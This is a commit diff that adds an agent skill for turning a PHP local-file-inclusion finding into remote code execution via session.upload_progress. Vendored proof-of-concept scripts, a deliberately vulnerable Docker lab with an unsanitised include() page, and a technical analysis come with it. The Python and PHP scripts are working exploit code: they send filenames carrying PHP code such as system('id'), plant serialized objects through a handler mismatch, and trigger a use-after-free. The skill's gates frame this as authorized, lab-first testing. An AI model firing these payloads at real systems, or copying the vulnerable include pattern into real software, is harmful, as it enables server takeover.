feat(skill): php2shell - gated session.upload_progress LFI-to-RCE skill with vendored PoCs

Implements #109. Skills ship the chain-1 workflow (session file injection
through upload_progress filename + app LFI -> RCE, CVE-2026-109618/109619)
with hard gates: authorized targets only, program zero-day policy checked
before any live attempt (patches landed 2026-10-21 for 8.2-8.5), passive
detection before exploitation, lab-first practice via the vendored docker
lab, chains 2/3 (UAF, serializer mismatch) marked lab-only, one-shot
verification with a marker. Upstream PoCs vendored under scripts/poc/php2shell
with attribution and the MIT notice (upstream declares MIT in its README).

scripts/poc/php2shell/LICENSE

@@ -0,0 +1,20 @@
+MIT License (vendored from https://github.com/ikow/php2shell-poc — README states
+"License: MIT"; no LICENSE file ships upstream. (c) ikow and contributors.)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

scripts/poc/php2shell/README.upstream.md

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+# php2shell — CVE-2026-109618 / CVE-2026-109619 Research
+
+Independent security research on the critical PHP session.upload_progress vulnerabilities (CVSS v4.0 9.2).
+
+**Author:** Qi Deng ([@ikow](https://github.com/ikow))  
+**Date:** 2026-10-21  
+**Full writeup:** [qideng.substack.com](https://qideng.substack.com/)
+
+## Overview
+
+Two critical pre-auth RCE vulnerabilities in PHP core's `session.upload_progress` handler, affecting PHP 5.4.0 through 8.5.x. This repository contains verification POCs and lab setup for authorized security testing.
+
+### Verified Attack Chains
+
+| Chain | Type | Conditions | Verified |
+|-------|------|-----------|----------|
+| Session File Injection + LFI | Logic bug | `upload_progress=On` (default) + app LFI | ✅ RCE |
+| var_destroy UAF → Handler Overwrite | Memory corruption | `unserialize()` + `/proc/self/mem` | ✅ ASAN + RCE |
+| Handler Mismatch → `__destruct` | Deserialization | Cross-dir handler mismatch + POP gadget | ✅ RCE |
+
+### Key Findings
+
+1. **Session fixation** via POST body bypasses `session.use_only_cookies` ([PR #22113](https://github.com/php/php-src/pull/22113))
+2. **Unvalidated filename** in upload_progress stored raw in session files
+3. **`var_destroy` `__destruct` reentry UAF** — ASAN-confirmed heap-use-after-free
+4. **`PS(serializer)` not reset in RSHUTDOWN** — cross-request serializer leak in FPM
+5. **`__destruct` fires on decode FAILURE** — object injection via handler mismatch + trailing data
+
+## Repository Structure
+
+```
+poc/
+  verify_session_injection.py   — Verify filename injection into session files
+  verify_uaf_asan.php           — Trigger ASAN heap-use-after-free (var_destroy)
+  verify_handler_mismatch.py    — Verify handler mismatch → object deserialization
+lab/
+  docker-compose.yml            — PHP 8.2.34 FPM + nginx lab environment
+  Dockerfile                    — Vulnerable PHP build
+  php.ini                       — Lab configuration
+  setup.sh                      — One-click lab setup
+docs/
+  ANALYSIS.md                   — Full technical analysis
+```
+
+## Quick Start
+
+```bash
+# Start the lab
+cd lab && ./setup.sh
+
+# Verify session injection
+python3 poc/verify_session_injection.py --target http://127.0.0.1:18080
+
+# Verify UAF (requires ASAN build)
+docker exec php-asan-lab php poc/verify_uaf_asan.php
+
+# Verify handler mismatch
+python3 poc/verify_handler_mismatch.py --target http://127.0.0.1:18080
+```
+
+## Affected Versions
+
+- PHP 5.4.0 — 8.5.11 (all versions with `session.upload_progress`)
+- Fixed in: 8.2.35, 8.3.36, 8.4.27, 8.5.12 (scheduled 2026-10-21)
+- PHP 5.x, 7.x, 8.0, 8.1: **end-of-life, no official fix**
+
+## Mitigation
+
+```ini
+; Immediate mitigation (does NOT fix all attack paths)
+session.upload_progress.enabled = Off
+session.use_only_cookies = On
+```
+
+## Disclaimer
+
+This research is for authorized security testing and educational purposes only. Do not use against systems you do not own or have explicit authorization to test.
+
+## License
+
+MIT

scripts/poc/php2shell/docs/ANALYSIS.md

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+# php2shell — Full Technical Analysis
+
+## CVE-2026-109618 / CVE-2026-109619
+**Author:** Qi Deng  **Date:** 2026-10-21
+
+---
+
+## 1. Vulnerability Summary
+
+Two critical vulnerabilities in PHP's `session.upload_progress` handler enable pre-authentication remote code execution on PHP 5.4.0 through 8.5.x.
+
+| Bug | Root Cause | Impact |
+|-----|-----------|--------|
+| Session Fixation | `MULTIPART_EVENT_FORMDATA` accepts PHPSESSID from POST body ignoring `use_only_cookies` | Attacker controls session ID and file path |
+| Filename Injection | `add_assoc_string_ex(*data->filename)` stores raw filename in session without validation | PHP code / serialized objects injected into session files |
+| Serializer Leak | `PS(serializer)` not reset in `php_rshutdown_session_globals()` | Cross-request handler mismatch in FPM |
+| var_destroy UAF | `i_zval_ptr_dtor` at line 310 fires `__destruct` without `BG(serialize_lock)` | Heap-use-after-free → arbitrary code execution |
+
+## 2. Attack Chains
+
+### Chain A: Session Injection + LFI → RCE
+
+```
+Conditions: upload_progress.enabled=On (default) + application has LFI
+Complexity: Low | Reliability: 100%
+
+1. POST multipart with PHP code in filename
+2. rfc1867 handler stores filename as-is in session file  
+3. include(session_file) → execute injected PHP → RCE
+```
+
+**Verified:** `exploit_session_inject.py` → `uid=33(www-data)` on PHP 8.2.34.
+
+### Chain B: var_destroy UAF → RCE
+
+```
+Conditions: ability to call unserialize() with controlled data
+Complexity: Medium | Reliability: ~60% (heap-dependent)
+
+1. unserialize() payload with 2000+ entries → overflow VAR_ENTRIES_MAX (1018)
+2. Duplicate key moves object to dtor list
+3. var_destroy Phase 1: efree extension chunks
+4. Phase 2: i_zval_ptr_dtor → __destruct (BG(serialize_lock)==0)
+5. Inner unserialize('R:1500;') reuses outer var_hash → reads freed memory
+6. Spray reclaims freed chunk → controlled pointer → handler overwrite → RCE
+```
+
+**Verified:** ASAN heap-use-after-free at `var_unserializer.c:851`. RCE via `var_dump` handler overwrite on x86-64.
+
+### Chain C: Handler Mismatch → `__destruct` → RCE
+
+```
+Conditions: target has directories with different session.serialize_handler
+Complexity: Medium | Reliability: High
+
+1. Upload to Dir A (php_serialize) — filename contains |O:CLASS:N:{PAYLOAD}
+2. Upload to Dir B (php handler) with same SID
+3. rfc1867 reads php_serialize session with php decoder
+4. php decoder finds | in filename → splits → deserializes injected object
+5. Trailing data → decode FAILURE
+6. __destruct fires during PHP_VAR_UNSERIALIZE_DESTROY cleanup
+7. POP gadget chain → RCE
+```
+
+**Key insight:** `__destruct` fires on BOTH success and failure paths of `var_destroy`. The decode FAILURE does NOT prevent exploitation.
+
+**Verified:** `Evil::__destruct(cmd="id")` → `uid=33(www-data)` via pure rfc1867 handler.
+
+## 3. Root Cause Analysis
+
+### 3.1 Session Fixation (ext/session/session.c)
+
+```c
+// MULTIPART_EVENT_FORMDATA handler — no use_only_cookies check
+if (name_len == progress->sname_len && 
+    memcmp(data->name, PS(session_name), name_len) == 0) {
+    zval_ptr_dtor(&progress->sid);
+    ZVAL_STRINGL(&progress->sid, (*data->value), value_len);
+    // ← Accepts PHPSESSID from POST body regardless of use_only_cookies!
+}
+```
+
+Fix: [PR #22113](https://github.com/php/php-src/pull/22113) adds `!PS(use_only_cookies) &&` check.
+
+### 3.2 Unvalidated Filename
+
+```c
+// FILE_START handler stores raw filename
+add_assoc_string_ex(&progress->current_file, "name", 
+                    sizeof("name") - 1, *data->filename);
+// ← No sanitization, no encoding, no length limit
+```
+
+Filename can contain arbitrary bytes including PHP code and pipe `|` characters.
+
+### 3.3 var_destroy Reentry UAF (ext/standard/var_unserializer.re)
+
+```c
+void var_destroy(php_unserialize_data_t *var_hashx) {
+    // Phase 1: FREE extension chunks
+    while (var_hash) {
+        efree_size(var_hash, sizeof(var_entries));  // ← line 245
+        var_hash = next;
+    }
+    // Phase 2: walk dtor chain
+    while (var_dtor_hash) {
+        // ...
+        i_zval_ptr_dtor(zv);  // ← line 310, NO serialize_lock!
+        // __destruct fires → inner unserialize() → R:N reads freed chunk
+    }
+}
+```
+
+### 3.4 Serializer Leak (ext/session/session.c)
+
+```c
+static void php_rshutdown_session_globals(void) {
+    // Resets: PS(id), PS(session_vars), PS(http_session_vars), PS(mod_data)
+    // Does NOT reset: PS(serializer) ← persists across FPM requests!
+}
+```
+
+### 3.5 `__destruct` on Decode Failure
+
+```c
+PS_SERIALIZER_DECODE_FUNC(php) {
+    while (p < endptr) {
+        // ... find |, deserialize value ...
+        if (php_var_unserialize(...)) {
+            php_set_session_var(name, &rv, &var_hash);  // object stored
+        } else {
+            retval = FAILURE; goto break_outer_loop;
+        }
+    }
+break_outer_loop:
+    PHP_VAR_UNSERIALIZE_DESTROY(var_hash);  // ← __destruct fires HERE
+    return retval;  // FAILURE
+}
+```
+
+Even though the decoder returns FAILURE and `session_start()` calls `php_session_cancel_decode()` to destroy `$_SESSION`, the object's `__destruct` has ALREADY fired during `var_hash` cleanup.
+
+## 4. Version Matrix
+
+| Version | upload_progress | Vulnerable | Official Fix |
+|---------|----------------|------------|-------------|
+| < 5.4 | No | No | N/A |
+| 5.4 - 5.6 | Yes | Yes | EOL, no fix |
+| 7.0 - 7.4 | Yes | Yes | EOL, no fix |
+| 8.0 - 8.1 | Yes | Yes | EOL, no fix |
+| 8.2.x | Yes | Yes | → 8.2.35 |
+| 8.3.x | Yes | Yes | → 8.3.36 |
+| 8.4.x | Yes | Yes | → 8.4.27 |
+| 8.5.x | Yes | Yes | → 8.5.12 |
+
+Vulnerable code identical across ALL versions from PHP 5.4.0 (2012) to present.
+
+## 5. Detection
+
+```bash
+# Check PHP version
+php -r 'echo PHP_VERSION, PHP_EOL;'
+
+# Check upload_progress setting
+php -r 'echo ini_get("session.upload_progress.enabled"), PHP_EOL;'
+
+# Check for handler mismatch across directories
+find /var/www -name ".user.ini" -exec grep -l "serialize_handler" {} \;
+
+# Monitor for exploitation attempts
+grep -r "PHP_SESSION_UPLOAD_PROGRESS" /var/log/nginx/access.log
+```
+
+## 6. Mitigation
+
+```ini
+; Primary mitigation
+session.upload_progress.enabled = Off
+
+; Additional hardening
+session.use_only_cookies = On
+session.use_strict_mode = On
+
+; Ensure consistent handler across directories
+session.serialize_handler = php_serialize
+```
+
+**Warning:** Disabling `upload_progress` does NOT fix the var_destroy UAF or the serializer leak. Apply the official PHP patch.
+
+## 7. References
+
+- [PHP Security Advisory](https://www.php.net/archive/2026.php) (pending)
+- [PR #22113 — Session fixation fix](https://github.com/php/php-src/pull/22113)
+- [Calif.IO — Serializable UAF](https://calif.io/research/php-uaf)
+- [dinosn — var_destroy UAF](https://github.com/dinosn/php-8.5.5-var_destroy-uaf)
+- [PHP Bug #71101 — Handler mismatch](https://bugs.php.net/bug.php?id=71101)
+- [cnpanda — Handler mismatch exploitation](https://www.cnpanda.net/en/sec/580.html)

scripts/poc/php2shell/lab/setup.sh

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+#!/bin/bash
+set -e
+
+echo "Setting up PHP 8.2.34 vulnerable lab environment..."
+
+cd "$(dirname "$0")"
+
+# Create webroot
+mkdir -p webroot/app webroot/api webroot/reader
+
+cat > webroot/index.php << 'EOF'
+<?php
+session_start();
+echo "PHP " . PHP_VERSION . "\n";
+echo "SAPI " . php_sapi_name() . "\n";
+echo "upload_progress " . ini_get('session.upload_progress.enabled') . "\n";
+echo "OK\n";
+EOF
+
+cat > webroot/nosession.php << 'EOF'
+<?php
+echo "PHP " . PHP_VERSION . "\nno session_start\n";
+EOF
+
+# Directory with php_serialize handler
+echo "session.serialize_handler = php_serialize" > webroot/app/.user.ini
+cp webroot/nosession.php webroot/app/upload.php
+
+# Directory with php handler
+echo "session.serialize_handler = php" > webroot/api/.user.ini
+cp webroot/nosession.php webroot/api/endpoint.php
+
+# LFI simulation (for Chain 1 verification)
+cat > webroot/vuln.php << 'EOF'
+<?php
+$page = $_GET['page'] ?? 'home';
+include($page);
+EOF
+
+# PHP configuration
+cat > php.ini << 'EOF'
+[Session]
+session.save_handler = files
+session.save_path = /tmp/sessions
+session.use_strict_mode = 0
+session.use_cookies = 1
+session.use_only_cookies = 0
+session.upload_progress.enabled = On
+session.upload_progress.cleanup = Off
+session.upload_progress.prefix = upload_progress_
+session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS
+session.upload_progress.freq = 1%
+session.upload_progress.min_freq = 0
+
+[PHP]
+display_errors = On
+error_reporting = E_ALL
+file_uploads = On
+post_max_size = 128M
+upload_max_filesize = 128M
+EOF
+
+# Nginx config
+cat > nginx.conf << 'EOF'
+server {
+    listen 80;
+    root /var/www/html;
+    index index.php;
+    client_max_body_size 128m;
+    location / { try_files $uri $uri/ /index.php?$query_string; }
+    location ~ \.php$ {
+        fastcgi_pass php:9000;
+        fastcgi_index index.php;
+        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
+        include fastcgi_params;
+        fastcgi_request_buffering off;
+    }
+}
+EOF
+
+# Docker Compose
+cat > docker-compose.yml << 'EOF'
+services:
+  php:
+    image: php:8.2-fpm
+    container_name: php2shell-lab
+    ports: ["9000:9000"]
+    volumes:
+      - ./webroot:/var/www/html
+      - ./php.ini:/usr/local/etc/php/php.ini
+    security_opt: [seccomp:unconfined]
+    privileged: true
+    command: >
+      bash -c "mkdir -p /tmp/sessions && chmod 1777 /tmp/sessions && php-fpm"
+
+  nginx:
+    image: nginx:alpine
+    container_name: php2shell-nginx
+    ports: ["18080:80"]
+    volumes:
+      - ./webroot:/var/www/html
+      - ./nginx.conf:/etc/nginx/conf.d/default.conf
+    depends_on: [php]
+EOF
+
+echo "Starting containers..."
+docker compose up -d --build
+
+echo ""
+echo "Lab ready!"
+echo "  HTTP: http://127.0.0.1:18080"
+echo "  FCGI: 127.0.0.1:9000"
+echo ""
+echo "Run POCs:"
+echo "  python3 ../poc/verify_session_injection.py"
+echo "  python3 ../poc/verify_handler_mismatch.py"

scripts/poc/php2shell/poc/verify_handler_mismatch.py

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+#!/usr/bin/env python3
+"""
+CVE-2026-109618/109619 — Verify session handler mismatch → object injection.
+
+Demonstrates:
+  1. Session written in php_serialize format (via directory with .user.ini)
+  2. Pipe | in filename preserved in php_serialize format
+  3. php handler reads the session → splits at | → deserializes injected object
+  4. __destruct fires even when decode returns FAILURE (trailing data)
+
+Setup required:
+  - /app/ directory with .user.ini: session.serialize_handler = php_serialize
+  - /api/ directory with .user.ini: session.serialize_handler = php
+  - Both share the same session.save_path
+
+Usage:
+  python3 verify_handler_mismatch.py --target http://127.0.0.1:18080
+
+For authorized security testing only.
+"""
+import argparse
+import socket
+import sys
+from urllib.parse import urlparse
+
+
+def upload(host, port, path, sid, filename):
+    boundary = "MISMATCH"
+    body = (
+        f"--{boundary}\r\n"
+        f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
+        f"--{boundary}\r\n"
+        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
+        f"--{boundary}\r\n"
+        f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
+        f"--{boundary}--\r\n"
+    ).encode("latin-1")
+
+    req = (
+        f"POST {path} HTTP/1.1\r\n"
+        f"Host: {host}\r\n"
+        f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
+        f"Content-Length: {len(body)}\r\n"
+        f"Connection: close\r\n\r\n"
+    ).encode() + body
+
+    s = socket.create_connection((host, port), timeout=15)
+    s.sendall(req)
+    s.settimeout(10)
+    resp = b""
+    while True:
+        try:
+            d = s.recv(65536)
+            if not d:
+                break
+            resp += d
+        except socket.timeout:
+            break
+    s.close()
+    return resp
+
+
+def main():
+    ap = argparse.ArgumentParser()
+    ap.add_argument("--target", default="http://127.0.0.1:18080")
+    ap.add_argument("--write-path", default="/app/upload.php",
+                    help="Endpoint with php_serialize handler")
+    ap.add_argument("--read-path", default="/api/endpoint.php",
+                    help="Endpoint with php handler")
+    ap.add_argument("--sid", default="mismatchverify0000000000000")
+    args = ap.parse_args()
+
+    u = urlparse(args.target)
+    host = u.hostname
+    port = u.port or 80
+
+    print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")
+    print(f"[*] Target: {args.target}")
+    print()
+
+    # Step 1: Write session via php_serialize endpoint
+    # Filename contains |O:8:"stdClass":0:{} (escaped quotes)
+    gadget = 'x|O:8:\\"stdClass\\":0:{}'
+    print(f"[1] Writing session via {args.write_path} (php_serialize)")
+    print(f"    Filename payload: {gadget}")
+    upload(host, port, args.write_path, args.sid, gadget)
+    print("    → Session file written in php_serialize format")
+
+    # Step 2: Trigger via php handler endpoint
+    print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")
+    print("    php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")
+    resp = upload(host, port, args.read_path, args.sid, "dummy")
+
+    status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"
+    print(f"    Response: {status}")
+
+    print()
+    print("[*] Verification indicators:")
+    print("    - 'Failed to decode session object' warning = mismatch triggered")
+    print("    - 'Session object destruction failed' = __destruct fired on injected object")
+    print("    - If target has a class with exploitable __destruct → RCE")
+    print()
+    print("[*] Check target for:")
+    print(f"    - Session file: /tmp/sessions/sess_{args.sid}")
+    print("    - Evidence of __destruct execution (file writes, network connections, etc.)")
+
+
+if __name__ == "__main__":
+    main()

scripts/poc/php2shell/poc/verify_session_injection.py

@@ -0,0 +1,105 @@
+#!/usr/bin/env python3
+"""
+CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.
+
+Demonstrates:
+  1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)
+  2. Unvalidated filename stored raw in session file (can contain PHP code)
+  3. Session file created with attacker-controlled content
+
+Usage:
+  python3 verify_session_injection.py --target http://127.0.0.1:18080
+
+For authorized security testing only.
+"""
+import argparse
+import socket
+import sys
+from urllib.parse import urlparse
+
+
+def send_upload(host, port, path, sid, filename):
+    boundary = "VERIFY"
+    body = (
+        f"--{boundary}\r\n"
+        f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
+        f"--{boundary}\r\n"
+        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
+        f"--{boundary}\r\n"
+        f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
+        f"--{boundary}--\r\n"
+    ).encode("latin-1")
+
+    req = (
+        f"POST {path} HTTP/1.1\r\n"
+        f"Host: {host}\r\n"
+        f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
+        f"Content-Length: {len(body)}\r\n"
+        f"Cookie: PHPSESSID={sid}\r\n"
+        f"Connection: close\r\n\r\n"
+    ).encode() + body
+
+    s = socket.create_connection((host, port), timeout=15)
+    s.sendall(req)
+    s.settimeout(10)
+    resp = b""
+    while True:
+        try:
+            d = s.recv(65536)
+            if not d:
+                break
+            resp += d
+        except socket.timeout:
+            break
+    s.close()
+    return resp
+
+
+def main():
+    ap = argparse.ArgumentParser()
+    ap.add_argument("--target", default="http://127.0.0.1:18080")
+    ap.add_argument("--path", default="/index.php")
+    ap.add_argument("--sid", default="verifysession00000000000000")
+    args = ap.parse_args()
+
+    u = urlparse(args.target)
+    host = u.hostname
+    port = u.port or 80
+
+    print("[*] CVE-2026-109618/109619 — Session Injection Verification")
+    print(f"[*] Target: {args.target}")
+    print()
+
+    # Test 1: Normal filename
+    print("[1] Testing normal filename...")
+    send_upload(host, port, args.path, args.sid + "a", "normal.txt")
+    print("    → Session file should contain: s:10:\"normal.txt\"")
+
+    # Test 2: PHP code in filename
+    php_payload = "<?php system('id');echo 'RCE';?>"
+    print(f"[2] Testing PHP code in filename: {php_payload}")
+    send_upload(host, port, args.path, args.sid + "b", php_payload)
+    print(f"    → Session file should contain PHP code as raw string")
+
+    # Test 3: Pipe character in filename (for handler mismatch)
+    pipe_payload = "x|O:8:\"stdClass\":0:{}"
+    print(f"[3] Testing pipe + serialized object in filename")
+    # Need \" escaping for Content-Disposition
+    escaped = pipe_payload.replace('"', '\\"')
+    send_upload(host, port, args.path, args.sid + "c", escaped)
+    print(f"    → Session file should contain |O:8: in the filename field")
+
+    print()
+    print("[*] Verification complete. Check session files on the target:")
+    print(f"    cat /tmp/sessions/sess_{args.sid}a")
+    print(f"    cat /tmp/sessions/sess_{args.sid}b")
+    print(f"    cat /tmp/sessions/sess_{args.sid}c")
+    print()
+    print("[*] Key indicators:")
+    print("    - Session fixation: file created with attacker-controlled SID")
+    print("    - Filename injection: raw PHP code / serialized objects in session data")
+    print("    - No authentication required")
+
+
+if __name__ == "__main__":
+    main()

scripts/poc/php2shell/poc/verify_uaf_asan.php

@@ -0,0 +1,48 @@
+<?php
+/**
+ * CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification.
+ *
+ * Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851).
+ *
+ * Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php
+ *
+ * Root cause: var_destroy() frees back-reference extension chunks (line 245),
+ * then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock).
+ * Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read.
+ *
+ * For authorized security testing only.
+ */
+
+class TriggerUAF {
+    public function __destruct() {
+        fwrite(STDERR, "[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\n");
+        fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n");
+        $result = @unserialize('R:1500;');
+        $type = gettype($result);
+        fwrite(STDERR, "[*] R:1500 resolved to: $type\n");
+        if ($result !== false) {
+            fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n");
+        }
+    }
+}
+
+// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)
+// Then duplicate key to move TriggerUAF to dtor list
+$N = 2000;
+$payload = 'a:' . ($N + 2) . ':{';
+for ($i = 0; $i < $N; $i++) {
+    $payload .= "i:$i;i:$i;";
+}
+$payload .= 'i:99999;O:10:"TriggerUAF":0:{}';
+$payload .= 'i:99999;i:42;';
+$payload .= '}';
+
+fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n");
+fwrite(STDERR, "[*] Firing unserialize()...\n");
+
+@unserialize($payload);
+
+fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n");
+fwrite(STDERR, "[*] Expected ASAN trace:\n");
+fwrite(STDERR, "    READ at php_var_unserialize (var_unserializer.c:851)\n");
+fwrite(STDERR, "    freed at var_destroy (var_unserializer.c:245)\n");

skills/php2shell/SKILL.md

@@ -0,0 +1,63 @@
+---
+name: php2shell
+description: "Invoke this skill when a task holds an LFI/file-inclusion finding on a PHP target (or needs to assess one) and the target may run PHP 5.4-8.5.11 with default session.upload_progress settings: turns a read-only LFI into verified RCE via the session-file-injection chain (CVE-2026-109618/109619), lab-first and gated by program policy. Also covers passive detection of the vulnerable configuration."
+---
+
+# php2shell: session.upload_progress LFI-to-RCE (CVE-2026-109618/109619)
+
+Under an **authorized** engagement only. This skill upgrades an existing
+LFI/unsafe-include finding on a PHP target into RCE, or classifies the target
+as not affected, using the vendored PoCs under `scripts/poc/php2shell/`
+(upstream: ikow/php2shell-poc, MIT; see the LICENSE there).
+
+## Hard gates (read before touching any target)
+
+1. **Authorization**: the target must be inside the task's authorized scope.
+2. **Program policy first**: many programs exclude or do not pay for
+   recently-patched third-party/framework zero-days within ~14 days of the
+   patch release. PHP patched these in 8.2.35/8.3.36/8.4.27/8.5.12
+   (2026-10-21). CHECK the program's policy on component zero-days BEFORE
+   testing a live target, and reflect the policy in how the finding is claimed
+   (often "reportable, not payable" or payable only after the clause lapses).
+3. **Detection before exploitation**: fingerprint passively first (response
+   headers, error pages, X-Powered-By). Only targets on PHP 5.4.0-8.5.11
+   (any build with session.upload_progress enabled, the default) are
+   candidates.
+4. **Lab first**: run chain 1 against the local lab (`lab/setup.sh` builds a
+   vulnerable PHP 8.2 FPM+nginx environment) until the mechanism is
+   understood, then one-shot the authorized target.
+5. **Chains 2 and 3 (var_destroy UAF, serializer mismatch) are LAB-ONLY**:
+   never fire memory-corruption or serializer-confusion primitives at a
+   remote target. Detection of their preconditions is fine.
+6. **One-shot verification** on the target: prove execution once (a marker
+   echo), capture evidence, stop. No persistence, no further exploration
+   through the shell.
+
+## Chain 1 workflow (session file injection + LFI -> RCE)
+
+1. Start with the task's LFI finding: note the include path parameter and its
+   constraints (prefix/suffix, truncation, wrapper filters).
+2. Confirm the session path is reachable through that LFI: with
+   `session.upload_progress.enabled=On` (default), an in-flight multipart POST
+   with an attacker-named file field writes a session file under the session
+   save path containing the raw filename.
+3. Inject PHP into the uploaded **filename** (not the file content):
+   `verify_session_injection.py` demonstrates the full mechanics (session
+   fixation via POST body PHPSESSID, raw filename storage, inclusion).
+4. Race the session file's lifetime: include it through the LFI while the
+   upload is still in flight (or keep the upload connection open).
+5. Verify RCE with a single marker command; record the request sequence as
+   evidence.
+
+## Detection without an LFI
+
+The chains need an app-level file-inclusion primitive; without one the
+configuration is hardening-relevant, not exploitable. Report posture only.
+
+## Vendored artifacts
+
+- `poc/verify_session_injection.py` - chain 1 end-to-end against a lab URL
+- `poc/verify_handler_mismatch.py` - chain 3 (lab only)
+- `poc/verify_uaf_asan.php` - chain 2 under an ASAN PHP build (lab only)
+- `lab/setup.sh` - builds the vulnerable docker lab locally
+- `docs/ANALYSIS.md`, `README.upstream.md` - the upstream technical writeup